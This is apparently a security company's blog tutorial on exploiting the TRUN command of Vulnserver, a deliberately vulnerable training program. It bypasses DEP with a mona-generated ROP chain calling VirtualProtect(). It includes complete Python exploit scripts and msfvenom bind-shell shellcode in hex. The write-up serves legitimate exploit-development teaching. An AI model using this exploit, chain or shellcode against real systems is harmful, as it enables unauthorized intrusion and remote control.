Tabla de contenidos

Title
Title
Tabla de contenidos
Tabla de contenidos
Tabla de contenidos
Title
Title
Title

Ataques

Exploiting the TRUN command of Vulnserver by using ROP

Andres Roldan

VP of Hacking

Actualizado

27 ago 2020

19 min

In the last blog posts, we’ve been dealing with DEP (Data Execution Protection) and a way to bypass it with ROP (Return-Oriented Programming). If you haven’t read those articles, I strongly recommend it before diving into this one.

In this article, we will use ROP to create a fully working exploit for the TRUN command of Vulnserver on a DEP-enabled Windows 10 OS.

ROP chains

In the last article, we used ROP to put the value 0xdeadbeef on EAX. To do that, we used 2 gadgets (sequence of instructions ending with RETN) that performed the needed operations. What we used is something known as a ROP chain, because we chained together pointers to gadgets on the stack. When one of the gadgets returns, will give control to the next, until the end of the chain.

ROP chains leverage existing instructions on the executable environment to perform arbitrary actions. In fact, it was demonstrated that ROP is Turing-complete, which means that we can solve any computational problem using it, which ranges from making EAX = 0xdeadbeef to creating a reverse TCP connection shellcode and beyond.

However, Turing-completeness does not imply code efficiency, and creating a working shellcode using ROP could be a very frustrating and tedious work.

Fortunately for us, we can reuse our old shellcodes. Yes, I mean it. But on a DEP-enabled OS, that involves a little of extra effort!

Marking shellcode as executable

When you use a CPU with the NX (No-execute) bit present, Windows provides DEP as a mean to leverage it. DEP is enabled by the OS which means that it can be disabled too.

That means that we can use ROP to disable DEP on certain memory region, place our good old shellcode there and redirect execution to that memory space.

There are many ways to do that, from creating a new heap into the process with execution permission to allocating new memory on the default heap with execution bit enabled or modifying existing memory to mark it as executable.

The most portable methods are the last two. The first (allocating new memory) is performed using the VirtualAllow() function. The second uses VirtualProtect().

What you may use depends on several things, mainly the version of Windows you are attacking. Also, if one of those functions is already loaded on the executable environment of the vulnerable application, it would be a good indicator.

Let’s load vulnserver.exe on a debugger to see if we can find one of those functions:

Loading vulnserver.exe on a debugger

We were lucky. VirtualProtect() was found in the IAT (Import Address Table) of our executable. We will use that method.

VirtualProtect() signature

According to Microsoft, the VirtualProtect() signature is the following:

BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
)

The parameters are:

  1. lpAddress is the starting address on where we will store the shellcode.

  2. dwSize is the size of the memory region we’ll mark as executable, starting at lpAddress.

  3. flNewProtect is the mask of bits defining the permissions that the address region would have (We’ll use this to mark it as executable).

  4. lpflOldProtect is an address that will receive the current permissions of the lpAddress + dwSize region.

Using ROP we need to put the values of those parameters on the stack. We also need to setup the stack in a way that we can return into the VirtualProtect() call and configure a return address that will be used as the next EIP when VirtualProtect() returns. The following diagram shows the expected stack layout just after executing our first RETN:

Stack layout.


Let’s see what would be the values of those parameters:

  • Address to VirtualProtect(): This can be obtained using the debugger. Ideally, we will use later the reference on the IAT to this function. For now, we found that VirtualProtect() is at 0x76070420:

VirtualProtect()
  • Return address for VirtualProtect(): This should be a pointer to a JMP ESP or CALL ESP instruction. This will redirect the execution flow to our shellcode when the ROP chain finishes, enabling the execution flag on the stack. You can obtain multiple options for this value using !mona jmp -n -r esp. I will pick 0x625011AF.

!mona jmp -n -r esp
  • lpAddress: This should be the start address on where we expect to store our shellcode. In our case, this should be the value of ESP and the value can only be obtained at runtime. We’ll get to that later.

  • dwSize: Is the size of the address region that will be marked as executable, starting at lpAddress. Something like 512 bytes (0x200) would be enough.

  • flNewProtect: Flags to be setup on the memory region. We need to mark it as executable, readable and writable (PAGE_EXECUTE_READWRITE) whose value is 0x40

  • lpflOldProtect: A pointer to a memory region that will receive the current permissions of lpAddress. That means that this value should point to a place where we have write permissions. You can use the debugger to find the right place. Ideally, this should be an address to a module without ASRL or Rebase. In this case, I’ll choose the one at 0x62504040:

0x62504040

Verifying execution

Before ROP’ing those values, let’s check if that call works. I will update the exploit from the previous article with the call to VirtualProtect(). The goal of that exploit was to make EAX = 0xdeadbeef. I will use placeholder values where needed, and update them at debug time, just to check how VirtualProtect() works:

#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: Andres Roldan
Tested On: Windows 10 20H2
Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/
"""

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999


PAYLOAD = (
 b'TRUN .' +
 b'A' * 2006 +
 # 62501022 \. C3 RETN
 struct.pack('<L', 0x62501022) +
 # Pointer to `VirtualProtect()`: 0x6250609C -> 0x76070420
    struct.pack('<L', 0x76070420) +
    # Pointer to JMP ESP
    struct.pack('<L', 0x625011AF) +
    # lpAddress: Dynamic value. Will put a placeholder for now
    struct.pack('<L', 0x41414141) +
    # dwSize: 0x00000200. As we can't inject NULL bytes, we will place
    # 0x11111201 for now
    struct.pack('<L', 0x11111201) +
    # flNewProtect: 0x00000040: As we can't inject NULL bytes, we will place
    # 0x11111140 for now
    struct.pack('<L', 0x11111140) +
    # lpflOldProtect, Pointer to writable address: 0x62504040
    struct.pack('<L', 0x62504040) +
    # Shellcode. Will make EAX = 0xdeadbeef
    b'\x31\xc0' +                   # xor eax,eax
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

I will now run the exploit in stages, to explain every step:

Running the exploit

Here, we can see that we effectively injected the parameters on the stack and that our first RETN gave control to call VirtualProtect(). However, there are some values that need to be changed. Let’s do that:

Modifying values

In this part, I modified the lpAddress value with the current value of ESP, then modified dwSize making it 0x00000200 or 512 bytes, and flNewProtect was set to 0x40 (PAGE_EXECUTE_READWRITE). Now, let the exploit continue with the modified values:

Exploit with modified values

Wonderful! The VirtualProtect() call effectively marked the region where our shellcode was placed as executable and we could make EAX = 0xdeadbeef. We bypassed DEP again!

However, that was not a valid execution because we had to use the debugger to change some values.

ROP it all

We need to use ROP to setup those values. The easiest way is to put the required values on general purpose registers and then push them to the stack in the required order. To do that, we can harness the PUSHAD instruction that will save all the general purpose registers on the stack in the following order:

  • EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI.

That means that when PUSHAD is executed, the stack will have this content:

Stack layout.


The most important value for us is the original ESP value because that address is the one that must placed on the lpAddress parameter. Using lpAddress as the starting point, we need to place the other parameters to the adjacent registers, as well as the pointer to VirtualProtect() and the return address:

Stack layout.


Great, all the parameters for VirtualProtect() fit on those registers.

But something happens here. You may notice that the EDI register is not used, but when our first RETN is executed, it will land there. In that case, we need to store on EDI a pointer to a RETN instruction again. This will make the execution return to where ESI address is pointing, which is the call to VirtualProtect():

Stack layout.


You will also note that EAX is also not set and this is the place where the shellcode is supposed to start. To overcome that, we can fill EAX with NOP instructions that will slide the execution to the shellcode:

Stack layout.


Perfect. We need to use ROP gadgets to setup those registers first and then add a pointer to a PUSHAD # RETN gadget at the end of the chain. Fortunately for us, mona will do the hard work, by issuing the following command:

!mona rop -m *.dll -n

This will go through all executable modules finding ROP gadgets that can be useful. At the end, mona will generate several files with the result. The most important one in this stage is rop_chains.txt file that contains the chain of gadgets needed to setup the registers with the values in the required order.

This is the resulting ROP gadget chain in my system:

  def create_rop_chain():

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      #[---INFO:gadgets_to_set_esi:---]
      0x75c5b862,  # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x7714ae82,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
      0x7712c3c6,  # XCHG EAX,ESI # RETN [ntdll.dll] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_ebp:---]
      0x7554bdee,  # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
      0x625011af,  # & jmp esp [essfunc.dll]
      #[---INFO:gadgets_to_set_ebx:---]
      0x625011b4,  # POP EAX # RETN [essfunc.dll]
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x760987da,  # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
      0x771cf5b9,  # XCHG EAX,EBX # RETN [ntdll.dll] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_edx:---]
      0x7714ebc3,  # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x76099c08,  # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
      0x759cc549,  # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_ecx:---]
      0x75567ffd,  # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
      0x75a08cf7,  # &Writable location [WS2_32.DLL] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_edi:---]
      0x75cf4a3b,  # POP EDI # RETN [KERNELBASE.dll] ** REBASED ** ASLR
      0x76099c0a,  # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_eax:---]
      0x755617cc,  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
      0x90909090,  # nop
      #[---INFO:pushad:---]
      0x770f9589,  # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

  rop_chain = create_rop_chain()

You can see that the registers are arranged exactly as we wanted.

We can incorporate that function in our exploit:

#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: Andres Roldan
Tested On: Windows 10 20H2
Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/
"""

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

def create_rop_chain():
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
        #[---INFO:gadgets_to_set_esi:---]
        0x75c5b862,  # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
        0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
        0x7714ae82,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
        0x7712c3c6,  # XCHG EAX,ESI # RETN [ntdll.dll] ** REBASED ** ASLR
        #[---INFO:gadgets_to_set_ebp:---]
        0x7554bdee,  # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
        0x625011af,  # & jmp esp [essfunc.dll]
        #[---INFO:gadgets_to_set_ebx:---]
        0x625011b4,  # POP EAX # RETN [essfunc.dll]
        0xfffffdff,  # Value to negate, will become 0x00000201
        0x760987da,  # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
        0x771cf5b9,  # XCHG EAX,EBX # RETN [ntdll.dll] ** REBASED ** ASLR
        #[---INFO:gadgets_to_set_edx:---]
        0x7714ebc3,  # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR
        0xffffffc0,  # Value to negate, will become 0x00000040
        0x76099c08,  # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
        0x759cc549,  # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR
        #[---INFO:gadgets_to_set_ecx:---]
        0x75567ffd,  # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
        0x75a08cf7,  # &Writable location [WS2_32.DLL] ** REBASED ** ASLR
        #[---INFO:gadgets_to_set_edi:---]
        0x75cf4a3b,  # POP EDI # RETN [KERNELBASE.dll] ** REBASED ** ASLR
        0x76099c0a,  # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
        #[---INFO:gadgets_to_set_eax:---]
        0x755617cc,  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
        0x90909090,  # nop
        #[---INFO:pushad:---]
        0x770f9589,  # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
    ]
    return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    create_rop_chain() +
    # Shellcode. Will make EAX = 0xdeadbeef
    b'\x31\xc0' +                   # xor eax,eax
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

And check it:

Running the exploit again

Isn’t it wonderful? We were able to setup the call to VirtualProtect() with the required parameters using ROP.

Let’s resume the execution to check if that worked:

Full execution

Indeed! Again, we were able to make EAX = 0xdeadbeef using a traditional shellcode. We can now replace that mock shellcode with one of our good ol' ones from msfvenom:

$ msfvenom -p windows/shell_bind_tcp -f python -v SHELL -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-]

And update our exploit:

#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: Andres Roldan
Tested On: Windows 10 20H2
Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/
"""

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999


def create_rop_chain():
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
        #[---INFO:gadgets_to_set_esi:---]
        0x75c5b862,  # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
        0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
        0x7714ae82,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
        0x7712c3c6,  # XCHG EAX,ESI # RETN [ntdll.dll] ** REBASED ** ASLR
        #[---INFO:gadgets_to_set_ebp:---]
        0x7554bdee,  # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
        0x625011af,  # & jmp esp [essfunc.dll]
        #[---INFO:gadgets_to_set_ebx:---]
        0x625011b4,  # POP EAX # RETN [essfunc.dll]
        0xfffffdff,  # Value to negate, will become 0x00000201
        0x760987da,  # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
        0x771cf5b9,  # XCHG EAX,EBX # RETN [ntdll.dll] ** REBASED ** ASLR
        #[---INFO:gadgets_to_set_edx:---]
        0x7714ebc3,  # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR
        0xffffffc0,  # Value to negate, will become 0x00000040
        0x76099c08,  # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
        0x759cc549,  # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR
        #[---INFO:gadgets_to_set_ecx:---]
        0x75567ffd,  # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
        0x75a08cf7,  # &Writable location [WS2_32.DLL] ** REBASED ** ASLR
        #[---INFO:gadgets_to_set_edi:---]
        0x75cf4a3b,  # POP EDI # RETN [KERNELBASE.dll] ** REBASED ** ASLR
        0x76099c0a,  # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
        #[---INFO:gadgets_to_set_eax:---]
        0x755617cc,  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
        0x90909090,  # nop
        #[---INFO:pushad:---]
        0x770f9589,  # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
    ]
    return b''.join(struct.pack('<I', _) for _ in rop_gadgets)


# msfvenom -p windows/shell_bind_tcp -f python -v SHELL -b '\x00'
SHELL =  b""
SHELL += b"\xbe\x9a\xd8\xa3\xeb\xd9\xc6\xd9\x74\x24\xf4\x5d"
SHELL += b"\x2b\xc9\xb1\x53\x31\x75\x12\x83\xc5\x04\x03\xef"
SHELL += b"\xd6\x41\x1e\xf3\x0f\x07\xe1\x0b\xd0\x68\x6b\xee"
SHELL += b"\xe1\xa8\x0f\x7b\x51\x19\x5b\x29\x5e\xd2\x09\xd9"
SHELL += b"\xd5\x96\x85\xee\x5e\x1c\xf0\xc1\x5f\x0d\xc0\x40"
SHELL += b"\xdc\x4c\x15\xa2\xdd\x9e\x68\xa3\x1a\xc2\x81\xf1"
SHELL += b"\xf3\x88\x34\xe5\x70\xc4\x84\x8e\xcb\xc8\x8c\x73"
SHELL += b"\x9b\xeb\xbd\x22\x97\xb5\x1d\xc5\x74\xce\x17\xdd"
SHELL += b"\x99\xeb\xee\x56\x69\x87\xf0\xbe\xa3\x68\x5e\xff"
SHELL += b"\x0b\x9b\x9e\x38\xab\x44\xd5\x30\xcf\xf9\xee\x87"
SHELL += b"\xad\x25\x7a\x13\x15\xad\xdc\xff\xa7\x62\xba\x74"
SHELL += b"\xab\xcf\xc8\xd2\xa8\xce\x1d\x69\xd4\x5b\xa0\xbd"
SHELL += b"\x5c\x1f\x87\x19\x04\xfb\xa6\x38\xe0\xaa\xd7\x5a"
SHELL += b"\x4b\x12\x72\x11\x66\x47\x0f\x78\xef\xa4\x22\x82"
SHELL += b"\xef\xa2\x35\xf1\xdd\x6d\xee\x9d\x6d\xe5\x28\x5a"
SHELL += b"\x91\xdc\x8d\xf4\x6c\xdf\xed\xdd\xaa\x8b\xbd\x75"
SHELL += b"\x1a\xb4\x55\x85\xa3\x61\xc3\x8d\x02\xda\xf6\x70"
SHELL += b"\xf4\x8a\xb6\xda\x9d\xc0\x38\x05\xbd\xea\x92\x2e"
SHELL += b"\x56\x17\x1d\x41\xfb\x9e\xfb\x0b\x13\xf7\x54\xa3"
SHELL += b"\xd1\x2c\x6d\x54\x29\x07\xc5\xf2\x62\x41\xd2\xfd"
SHELL += b"\x72\x47\x74\x69\xf9\x84\x40\x88\xfe\x80\xe0\xdd"
SHELL += b"\x69\x5e\x61\xac\x08\x5f\xa8\x46\xa8\xf2\x37\x96"
SHELL += b"\xa7\xee\xef\xc1\xe0\xc1\xf9\x87\x1c\x7b\x50\xb5"
SHELL += b"\xdc\x1d\x9b\x7d\x3b\xde\x22\x7c\xce\x5a\x01\x6e"
SHELL += b"\x16\x62\x0d\xda\xc6\x35\xdb\xb4\xa0\xef\xad\x6e"
SHELL += b"\x7b\x43\x64\xe6\xfa\xaf\xb7\x70\x03\xfa\x41\x9c"
SHELL += b"\xb2\x53\x14\xa3\x7b\x34\x90\xdc\x61\xa4\x5f\x37"
SHELL += b"\x22\xd4\x15\x15\x03\x7d\xf0\xcc\x11\xe0\x03\x3b"
SHELL += b"\x55\x1d\x80\xc9\x26\xda\x98\xb8\x23\xa6\x1e\x51"
SHELL += b"\x5e\xb7\xca\x55\xcd\xb8\xde"

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    create_rop_chain() +
    # Align stack
    b'\x83\xE4\xF0' +   # and esp, 0xfffffff0
    SHELL +
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Note that I added the and esp, 0xfffffff0 instruction before the shellcode to align the stack. This is commonly needed when you mess around with the stack.

Let’s check it now:

Success

Great! We successfully disabled DEP for our process and got a shell!

You can download the final exploit here.

Conclusions

In this article, we used the power of Return-Oriented Programming to complete a working exploit with a binded TCP shell on a DEP-enabled OS. As each application is different, using ROP gadgets to perform complex operations is an art, because there is not a generic way to do it.

Get started with Fluid Attacks' PTaaS right now

Etiquetas:

formacion

exploit

vulnserver

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Nos vemos en RSA Conference™ 2025 en el booth N-4204.

Agenda una demo on-site

Nos vemos en RSA Conference™ 2025 en el booth N-4204.

Agenda una demo on-site